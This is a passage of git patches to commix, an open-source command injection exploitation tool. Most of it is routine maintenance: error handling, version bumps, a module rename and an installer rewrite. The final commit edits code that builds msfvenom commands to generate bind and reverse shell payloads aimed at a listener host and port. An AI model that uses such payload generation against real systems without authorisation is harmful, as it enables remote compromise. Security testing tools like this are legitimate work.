+ settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return "" + """ Reads input from terminal """ def read_input(message, default=None, check_batch=True): def is_empty(): - value = _input(settings.print_message(message)) + value = safe_input(settings.print_message(message)) if len(value) == 0: return default else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 7b24b7c42c..511aab441d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "31" +REVISION = "32" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 767f98a96ae0a39cb63ff2df2762ee43a88cdfad Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 30 May 2025 08:21:52 +0300 Subject: [PATCH 0558/1023] Improved URL error handling --- src/core/injections/controller/checks.py | 2 +- src/core/injections/controller/injector.py | 2 +- src/core/requests/headers.py | 8 ++++---- src/core/requests/requests.py | 2 +- src/utils/settings.py | 2 +- 5 files changed, 8 insertions(+), 8 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 6804d4432d..94dd7ec0bd 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2706,7 +2706,7 @@ def check_file_to_upload(): file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() try: _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: + except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) raise SystemExit() diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 6b5dc1e345..db0cc291ee 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -519,7 +519,7 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times shell = [newline.replace(settings.END_LINE.CR, "") for newline in shell] #shell = [space.strip() for space in shell] shell = [empty for empty in shell if empty] - except _urllib.error.HTTPError as e: + except (_urllib.error.HTTPError, _urllib.error.URLError) as e: if str(e.getcode()) == settings.NOT_FOUND_ERROR: shell = "" diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index bdf875c641..2c6be486cd 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -190,7 +190,7 @@ def https_open(self, req): except AttributeError: raise SystemExit() - except _urllib.error.HTTPError as err_msg: + except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg: if settings.UNAUTHORIZED_ERROR in str(err_msg): settings.UNAUTHORIZED = unauthorized = True settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS @@ -227,7 +227,7 @@ def https_open(self, req): checks.blocked_ip(page) # This is useful when handling exotic HTTP errors (i.e requests for authentication). - except _urllib.error.HTTPError as err: + except (_urllib.error.HTTPError, _urllib.error.URLError) as err: # Checks for not declared cookie(s), while server wants to set its own. if not menu.options.drop_set_cookie: checks.not_declared_cookies(err) @@ -326,7 +326,7 @@ def do_check(request): url = menu.options.url try: response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as e: + except (_urllib.error.HTTPError, _urllib.error.URLError) as e: try: authline = e.headers.get('www-authenticate', '') authobj = re.match(r'''(\w*)\s+realm=(.*),''',authline).groups() @@ -341,7 +341,7 @@ def do_check(request): result = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) except AttributeError: pass - except _urllib.error.HTTPError as e: + except (_urllib.error.HTTPError, _urllib.error.URLError) as e: pass else: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index b1559fa1d3..e171c43550 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -100,7 +100,7 @@ def estimate_response_time(url, timesec, http_request_method): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - except _urllib.error.HTTPError as err: + except (_urllib.error.HTTPError, _urllib.error.URLError) as err: ignore_start = time.time() if settings.UNAUTHORIZED_ERROR in str(err) and int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE: pass diff --git a/src/utils/settings.py b/src/utils/settings.py index 511aab441d..6a8a682dc7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "32" +REVISION = "33" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ec69adfcf1d72608a7a0e01f96ee4d5e42c1a078 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 2 Jun 2025 08:28:07 +0300 Subject: [PATCH 0559/1023] Enhanced authentication process with detailed HTTP traffic inspection --- doc/CHANGELOG.md | 1 + src/core/requests/authentication.py | 1 + src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index bdb3c55912..88af6c1bef 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Revised: Minor code refactoring to enhance the authentication process with detailed HTTP traffic inspection. * Fixed: Improved handling of terminal input to prevent encoding errors. * Fixed: Minor bug-fix in parsing improperly padded `Base64` in Authorization headers. * Revised: Minor code refactoring to enhance file I/O reliability. diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 2fea54c0ca..5c022d9890 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -58,6 +58,7 @@ def authentication_process(http_request_method): request = _urllib.request.Request(auth_url, auth_data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) + headers.check_http_traffic(request) # Get the response of the request. return _urllib.request.urlopen(request, timeout=settings.TIMEOUT) diff --git a/src/utils/settings.py b/src/utils/settings.py index 6a8a682dc7..1913455bd9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "33" +REVISION = "34" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 0e81b71fbbb436e572c49a334395468fb133d905 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 4 Jun 2025 06:59:11 +0300 Subject: [PATCH 0560/1023] Trivial update for PR: https://github.com/commixproject/commix/pull/1014 --- doc/CHANGELOG.md | 1 + doc/THANKS.md | 1 + src/txt/__init__.py | 16 ++++++++++++++++ src/utils/settings.py | 2 +- 4 files changed, 19 insertions(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 88af6c1bef..d8789e0c6f 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Fixed: Minor bug fix for missing `.txt` files during setup/install. * Revised: Minor code refactoring to enhance the authentication process with detailed HTTP traffic inspection. * Fixed: Improved handling of terminal input to prevent encoding errors. * Fixed: Minor bug-fix in parsing improperly padded `Base64` in Authorization headers. diff --git a/doc/THANKS.md b/doc/THANKS.md index edc3c7e1be..13ed70aeee 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -74,6 +74,7 @@ * Thanks [powercrypt](https://github.com/powercrypt) for reporting a few bugs. * Thanks [prince74igor](https://github.com/prince74igor) for suggesting an enhancement. * Thanks [raeph123](https://github.com/raeph123) for contributing code. +* Thanks [Raymond-JV](https://github.com/Raymond-JV) for contributing code. * Thanks [royharoush](https://github.com/royharoush) for suggesting an enhancement. * Thanks [royshum93](https://github.com/royshum93) for reporting a bug. * Thanks [SaifSalah](https://github.com/SaifSalah) for reporting a bug. diff --git a/src/txt/__init__.py b/src/txt/__init__.py index e69de29bb2..4a4e6d4eec 100644 --- a/src/txt/__init__.py +++ b/src/txt/__init__.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 1913455bd9..45378d6e10 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "34" +REVISION = "35" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 007112f398f92e040f08d6b29eb61c6756654612 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 5 Jun 2025 07:51:15 +0300 Subject: [PATCH 0561/1023] Trivial update --- setup.py | 2 +- src/core/injections/controller/controller.py | 4 ++-- src/utils/settings.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/setup.py b/setup.py index 83074f4625..29e9e5178c 100644 --- a/setup.py +++ b/setup.py @@ -49,4 +49,4 @@ }, ) -# eof +# eof \ No newline at end of file diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 55b495cdfb..40a2912ddc 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -676,14 +676,14 @@ def perform_checks(url, http_request_method, filename): try: # Check if authentication page is the same with the next (injection) URL if _urllib.request.urlopen(url, timeout=settings.TIMEOUT).read() == _urllib.request.urlopen(menu.options.auth_url, timeout=settings.TIMEOUT).read(): - err_msg = "It seems that the authentication procedure has failed." + err_msg = "Authentication failed using the specified credentials and URL." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif menu.options.auth_url or menu.options.auth_data: - err_msg = "You must specify both login panel URL and login parameters." + err_msg = "Authentication requires specifying both '--auth-url' and '--auth-data' options." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 45378d6e10..9f6756e0f6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "35" +REVISION = "36" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 8c5bdb0206de9000b51cd17008ee7adf650b54f5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 6 Jun 2025 07:24:35 +0300 Subject: [PATCH 0562/1023] Fixed typo in module name --- src/core/requests/tor.py | 2 +- src/utils/install.py | 4 ++-- src/utils/{requirments.py => requirements.py} | 6 +++--- src/utils/settings.py | 2 +- src/utils/update.py | 20 +++++++++---------- 5 files changed, 17 insertions(+), 17 deletions(-) rename src/utils/{requirments.py => requirements.py} (87%) diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index ce1f34df33..bf22c9541b 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -19,7 +19,7 @@ from src.thirdparty.six.moves import http_client as _http_client from src.utils import menu from src.utils import settings -from src.utils import requirments +from src.utils import requirements from src.core.requests import proxy from src.core.requests import requests from src.thirdparty.colorama import Fore, Back, Style, init diff --git a/src/utils/install.py b/src/utils/install.py index 305d54729f..264423b4e1 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -20,7 +20,7 @@ from src.utils import menu from src.utils import common from src.utils import settings -from src.utils import requirments +from src.utils import requirements from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init @@ -95,7 +95,7 @@ def installer(): # Check for dependencies. dependencies_items = dependencies.split() for item in dependencies_items: - requirments.do_check(item) + requirements.do_check(item) else: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "The installer is not designed for any " diff --git a/src/utils/requirments.py b/src/utils/requirements.py similarity index 87% rename from src/utils/requirments.py rename to src/utils/requirements.py index 767cc31dcb..08da27229c 100644 --- a/src/utils/requirments.py +++ b/src/utils/requirements.py @@ -16,14 +16,14 @@ import subprocess """ -Check for requirments. +Check for requirements. """ -def do_check(requirment): +def do_check(requirement): try: # Pipe output to the file path of the null device, for silence. # i.e '/dev/null' for POSIX, 'nul' for Windows null = open(os.devnull,"w") - subprocess.Popen(requirment, stdout=null, stderr=null) + subprocess.Popen(requirement, stdout=null, stderr=null) null.close() return True diff --git a/src/utils/settings.py b/src/utils/settings.py index 9f6756e0f6..987b467016 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "36" +REVISION = "37" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/src/utils/update.py b/src/utils/update.py index 31761678e1..79b39fb737 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -20,7 +20,7 @@ import subprocess from src.utils import menu from src.utils import settings -from src.utils import requirments +from src.utils import requirements from src.utils import common from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init @@ -79,12 +79,12 @@ def updater(): raise SystemExit() else: try: - requirment = "git" + requirement = "git" # Check if 'git' is installed. - requirments.do_check(requirment) - if requirments.do_check(requirment) == True : + requirements.do_check(requirement) + if requirements.do_check(requirement) == True : if settings.VERBOSITY_LEVEL != 0: - debug_msg = "commix will try to update itself using '" + requirment + "' command." + debug_msg = "commix will try to update itself using '" + requirement + "' command." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) # Check if ".git" exists! if os.path.isdir("./.git"): @@ -98,7 +98,7 @@ def updater(): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: - err_msg = requirment + " not found." + err_msg = requirement + " not found." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -157,10 +157,10 @@ def unicorn_updater(current_version): raise SystemExit() else: try: - requirment = "git" + requirement = "git" # Check if 'git' is installed. - requirments.do_check(requirment) - if requirments.do_check(requirment) == True : + requirements.do_check(requirement) + if requirements.do_check(requirement) == True : settings.print_data_to_stdout(settings.SUCCESS_STATUS) if len(current_version) == 0: unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../', 'thirdparty/')) @@ -175,7 +175,7 @@ def unicorn_updater(current_version): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) revision_num() else: - err_msg = requirment + " not found." + err_msg = requirement + " not found." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except Exception as err_msg: From edbda31727415e5ab3e2e82a928e6697dbe83bdb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 10 Jun 2025 07:08:59 +0300 Subject: [PATCH 0563/1023] Refactored and cleaned up installer code --- src/utils/install.py | 216 ++++++++++++++++++------------------------ src/utils/settings.py | 7 +- 2 files changed, 96 insertions(+), 127 deletions(-) diff --git a/src/utils/install.py b/src/utils/install.py index 264423b4e1..55d3e63481 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -14,8 +14,6 @@ """ import os -import sys -import platform import subprocess from src.utils import menu from src.utils import common @@ -24,143 +22,111 @@ from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init -""" -Make a local installation of 'commix' on your system. -""" - -""" -The un-installer. -""" -def uninstaller(): - info_msg = "Starting the uninstaller. " - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - +# Removal Function +def remove(): + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Removing existing installation and performing cleanup..." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: - subprocess.Popen("rm -rf /usr/bin/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() - subprocess.Popen("rm -rf /usr/share/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() - except: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + subprocess.call("rm -rf " + os.path.join(settings.WRAPPER_PATH, settings.APPLICATION) + " >/dev/null 2>&1", shell=True) + subprocess.call("rm -rf " + os.path.join(settings.INSTALL_DIR, settings.APPLICATION) + " >/dev/null 2>&1", shell=True) + except Exception as e: + err_msg = "An error occurred while removing the application: " + str(e) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - settings.print_data_to_stdout(settings.SUCCESS_STATUS) - - info_msg = "The un-installation of commix has finished!" - settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + info_msg = settings.APPLICATION.capitalize() + " and all related components have been successfully removed." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) -""" -The installer. -""" +# Abort for Unsupported Systems +def abort_unsupported(packages, dependencies): + err_msg = "This installer is designed specifically for Ubuntu and Debian-based Linux distributions. " + err_msg += "To proceed on other systems, install the required packages (i.e. " + packages + err_msg += ") and dependencies (i.e. " + dependencies + ") manually." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + +# Installer Function def installer(): packages = "build-essential python-dev" dependencies = "git python-pip" - info_msg = "Starting the installer. " + info_msg = "Starting installation of " + settings.APPLICATION + " (" + settings.VERSION + ") on your system." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - - - # Check if OS is Linux. - if settings.PLATFORM == "posix": - # You need to have administrative privileges to run this script. - if not common.running_as_admin(): - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "You need to have administrative privileges to run this option." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Check if commix is already installed. - if os.path.isdir("/usr/share/" + settings.APPLICATION + ""): - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that " + settings.APPLICATION - warn_msg += " is already installed in your system." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - while True: - message = "Do you want to remove commix? [Y/n] > " - uninstall = common.read_input(message, default="Y", check_batch=True) - if uninstall in settings.CHOICE_YES: - uninstaller() - raise SystemExit() - elif uninstall in settings.CHOICE_NO or \ - uninstall in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(uninstall) - pass - - # Check for git. - if not os.path.isfile("/usr/bin/git") or not os.path.isfile("/usr/bin/pip"): - # Install requirement. - if os.path.isfile("/etc/apt/sources.list"): - settings.print_data_to_stdout(settings.SUCCESS_STATUS) - - # Check for dependencies. - dependencies_items = dependencies.split() - for item in dependencies_items: - requirements.do_check(item) - else: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "The installer is not designed for any " - err_msg += "other Linux distro than Ubuntu / Debian. " - err_msg += "Please install manually: " + dependencies - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - raise SystemExit() - # Force install of necessary packages - subprocess.Popen("apt-get --force-yes -y install " + packages + ">/dev/null 2>&1", shell=True).wait() - settings.print_data_to_stdout(settings.SUCCESS_STATUS) - + if settings.PLATFORM != "posix": + abort_unsupported(packages, dependencies) - info_msg = "Installing " + settings.APPLICATION - info_msg += " into the /usr/share/" + settings.APPLICATION + ". " - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - try: - current_dir = os.getcwd() - subprocess.Popen("cp -r " + current_dir + " /usr/share/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() - subprocess.Popen("chmod 775 /usr/share/" + settings.APPLICATION + "/" + settings.APPLICATION + ".py >/dev/null 2>&1", shell=True).wait() - except: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - raise SystemExit() - settings.print_data_to_stdout(settings.SUCCESS_STATUS) - - - info_msg = "Installing " + settings.APPLICATION - info_msg += " to /usr/bin/" + settings.APPLICATION + ". " - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - try: - with open("/usr/bin/" + settings.APPLICATION, 'w') as f: - f.write('#!/bin/bash\n') - f.write('cd /usr/share/commix/ && ./commix.py "$@"\n') - subprocess.Popen("chmod +x /usr/bin/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() - except: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - raise SystemExit() - settings.print_data_to_stdout(settings.SUCCESS_STATUS) - - - #Create the Output Directory - try: - os.stat(settings.OUTPUT_DIR) - except: - try: - os.mkdir(settings.OUTPUT_DIR) - except OSError as err_msg: - try: - error_msg = str(err_msg).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg) + "." - settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + if not common.running_as_admin(): + err_msg = "Administrative privileges are required to run this option." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + app_install_path = os.path.join(settings.INSTALL_DIR, settings.APPLICATION) + launcher_path = os.path.join(settings.WRAPPER_PATH, settings.APPLICATION) + + if os.path.isdir(app_install_path): + warn_msg = "An existing installation of " + settings.APPLICATION + " was detected." + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) + + while True: + message = "Would you like to remove the current installation? [Y/n] > " + user_input = common.read_input(message, default="Y", check_batch=True) + if user_input in settings.CHOICE_YES: + remove() raise SystemExit() + elif user_input in settings.CHOICE_NO or user_input in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(user_input) + + if not os.path.isfile("/usr/bin/git") or not os.path.isfile("/usr/bin/pip"): + if os.path.isfile("/etc/apt/sources.list"): + for dep in dependencies.split(): + requirements.do_check(dep) + else: + abort_unsupported(packages, dependencies) + + subprocess.call("apt-get --force-yes -y install " + packages + " >/dev/null 2>&1", shell=True) + + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Copying application files to '" + app_install_path + "'..." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + try: + current_dir = os.getcwd() + subprocess.call("cp -r " + current_dir + " " + app_install_path + " >/dev/null 2>&1", shell=True) + subprocess.call("chmod 775 " + os.path.join(app_install_path, settings.APPLICATION + ".py") + " >/dev/null 2>&1", shell=True) + except Exception as e: + settings.print_data_to_stdout(settings.print_critical_msg(str(e))) + raise SystemExit() - info_msg = "The installation is finished! Type '" - info_msg += settings.APPLICATION + "' to launch it." - settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Creating launcher script at '" + launcher_path + "'..." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - else : - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "The installer is not designed for any other system other than Linux. " - err_msg += "Please install manually: " + packages + dependencies + try: + with open(launcher_path, 'w') as f: + f.write("#!/bin/bash\n") + f.write("cd " + app_install_path + " && ./" + settings.APPLICATION + ".py \"$@\"\n") + subprocess.call("chmod +x " + launcher_path + " >/dev/null 2>&1", shell=True) + except Exception as e: + err_msg = "Failed to create launcher: " + str(e) settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise SystemExit() - # eof \ No newline at end of file + try: + if not os.path.exists(settings.OUTPUT_DIR): + os.mkdir(settings.OUTPUT_DIR) + except OSError as err_msg: + try: + error_msg = str(err_msg).split("] ")[1] + "." + except IndexError: + error_msg = str(err_msg) + "." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + raise SystemExit() + + info_msg = "Installation has been completed." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index 987b467016..b7718c118a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "37" +REVISION = "38" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1082,8 +1082,11 @@ class INJECTION_TECHNIQUE(object): # List of pages / scripts potentially vulnerable to Shellshock CGI_SCRIPTS = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "shocker-cgi_list.txt" +INSTALL_DIR = "/usr/share/" +WRAPPER_PATH = "/usr/bin/" + # Metasploit Framework Path -METASPLOIT_PATH = "/usr/share/metasploit-framework/" +METASPLOIT_PATH = INSTALL_DIR + "/metasploit-framework/" # Supported HTTP Authentication types class AUTH_TYPE(object): From 698f967a1adf004dfe08f31666d0a87f9bbaf545 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 12 Jun 2025 08:19:19 +0300 Subject: [PATCH 0564/1023] Minor update --- src/utils/common.py | 2 +- src/utils/settings.py | 2 +- src/utils/update.py | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/utils/common.py b/src/utils/common.py index c522355a47..ecab9d96b4 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -347,7 +347,7 @@ def unhandled_exception(): err_msg += "reproduce the bug. The " err_msg += "developers will try to reproduce the bug, fix it accordingly " err_msg += "and get back to you.\n" - err_msg += "Commix version: " + settings.VERSION[1:] + "\n" + err_msg += settings.APPLICATION.capitalize() + " version: " + settings.VERSION[1:] + "\n" err_msg += "Python version: " + settings.PYTHON_VERSION + "\n" err_msg += "Operating system: " + os.name + "\n" err_msg += "Command line: " + re.sub(r".+?\bcommix\.py\b", "commix.py", " ".join(sys.argv)) + "\n" diff --git a/src/utils/settings.py b/src/utils/settings.py index b7718c118a..829dc4d674 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "38" +REVISION = "39" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/src/utils/update.py b/src/utils/update.py index 79b39fb737..fa109f9cd7 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -68,7 +68,7 @@ def updater(): info_msg += settings.APPLICATION + " from GitHub repository. " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if menu.options.offline: - err_msg = "You cannot update commix via GitHub without access on the Internet." + err_msg = "You cannot update " + settings.APPLICATION + " via GitHub without access on the Internet." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if windows @@ -84,7 +84,7 @@ def updater(): requirements.do_check(requirement) if requirements.do_check(requirement) == True : if settings.VERBOSITY_LEVEL != 0: - debug_msg = "commix will try to update itself using '" + requirement + "' command." + debug_msg = settings.APPLICATION.capitalize() + " will try to update itself using '" + requirement + "' command." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) # Check if ".git" exists! if os.path.isdir("./.git"): From 9fbbc34623dad5681ca954674e0abf0f8af4bb1c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 16 Jun 2025 07:52:02 +0300 Subject: [PATCH 0565/1023] Minor upate --- src/core/shells/bind_tcp.py | 6 +++--- src/core/shells/reverse_tcp.py | 8 ++++---- src/utils/install.py | 12 ++++++------ src/utils/settings.py | 5 ++++- 4 files changed, 17 insertions(+), 14 deletions(-) diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 5dd0efa080..f82affc1d2 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -121,7 +121,7 @@ def other_bind_shells(separator): proc = subprocess.Popen("msfvenom -p " + str(payload) + " RHOST=" + str(settings.RHOST) + " LPORT=" + str(settings.LPORT) + - " -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait() + " -e php/base64 -o " + output + settings.NO_OUTPUT, shell=True).wait() with open (output, "r+") as content_file: data = content_file.readlines() @@ -212,7 +212,7 @@ def other_bind_shells(separator): proc = subprocess.Popen("msfvenom -p " + str(payload) + " RHOST=" + str(settings.RHOST) + " LPORT=" + str(settings.LPORT) + - " -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait() + " -e php/base64 -o " + output + settings.NO_OUTPUT, shell=True).wait() with open (output, "r+") as content_file: data = content_file.readlines() @@ -256,7 +256,7 @@ def other_bind_shells(separator): proc = subprocess.Popen("msfvenom -p " + str(payload) + " RHOST=" + str(settings.RHOST) + " LPORT=" + str(settings.LPORT) + - " -o " + output + ">/dev/null 2>&1", shell=True).wait() + " -o " + output + settings.NO_OUTPUT, shell=True).wait() with open (output, "r") as content_file: data = content_file.readlines() diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index d8589a47ba..d97dd5b0e8 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -223,7 +223,7 @@ def other_reverse_shells(separator): proc = subprocess.Popen("msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + " LPORT=" + str(settings.LPORT) + - " -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait() + " -e php/base64 -o " + output + settings.NO_OUTPUT, shell=True).wait() with open (output, "r+") as content_file: data = content_file.readlines() @@ -266,7 +266,7 @@ def other_reverse_shells(separator): proc = subprocess.Popen("msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + " LPORT=" + str(settings.LPORT) + - " -o " + output + ">/dev/null 2>&1", shell=True).wait() + " -o " + output + 